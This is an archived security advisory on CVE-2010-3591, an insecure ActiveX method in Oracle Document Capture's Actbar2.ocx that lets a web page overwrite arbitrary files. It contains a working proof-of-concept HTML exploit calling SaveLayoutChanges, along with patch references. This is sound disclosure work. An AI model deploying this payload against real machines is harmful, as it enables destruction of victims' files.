[DSECRG-00153] Oracle Document Capture Actbar2.ocx - insecure method

2011-01-26T00:00:00
ID SECURITYVULNS:DOC:25556
Type securityvulns
Reporter Securityvulns
Modified 2011-01-26T00:00:00

Description

ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory #DSECRG-00153

Application: Oracle Document Capture Versions Affected: Release 10gR3 Vendor URL: www.oracle.com Bugs: insecure method, File overwriting Exploits: YES Reported: 22.03.2010 Vendor response: 31.03.2010 Date of Public Advisory:24.01.2011 CVE-number: CVE-2010-3591 Author: Evdokimov Dmitriy from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Description


Oracle Document Capture contains ActiveX components that contains insecure methods.

Insecure method in Actbar2.ocx

Details


Oracle Document Capture contains ActiveX component ActiveBar2Library (Actbar2.ocx) Lib GUID: {4932CEF1-2CAA-11D2-A165-0060081C43D9}

which is contains insecure method "SaveLayoutChanges" that can overwrite any unhidden file in system.

Class ActiveBar2 GUID: {4932CEF4-2CAA-11D2-A165-0060081C43D9} Number of Interfaces: 1 Default Interface: IActiveBar2 RegKey Safe for Script: True RegKey Safe for Init: True KillBitSet: False

Exploit


Attacker can construct html page which call vulnerable function "SaveLayoutChanges" from ActiveX component Actbar2.ocx

Example:

<HTML> <HEAD> <TITLE>DSecRG</TITLE> </HEAD> <BODY>

     &lt;OBJECT id=&#39;eds&#39;

classid='clsid:4932CEF4-2CAA-11D2-A165-0060081C43D9'></OBJECT>

     &lt;SCRIPT&gt;

     function Exploit&#40;&#41;{
             eds.SaveLayoutChanges&#40;&quot;C:&#92;&#92;31337.txt&quot;,1&#41;;             
     }
     Exploit&#40;&#41;;

     &lt;/SCRIPT&gt;

</BODY> </HTML>

References


http://dsecrg.com/pages/vul/show.php?id=304 http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

Fix Information


Information was published in CPU Jan 2011. All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

About


Digital Security:

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.

Contact: research [at] dsecrg [dot] com http://www.dsecrg.com http://www.erpscan.com

Polyakov Alexandr. PCI QSA,PA-QSA CTO Digital Security Head of DSecRG


DIGITAL SECURITY phone: +7 812 703 1547 +7 812 430 9130 e-mail: a.polyakov@dsec.ru

www.dsec.ru www.dsecrg.com www.dsecrg.ru www.erpscan.com www.erpscan.ru www.pcidssru.com www.pcidss.ru


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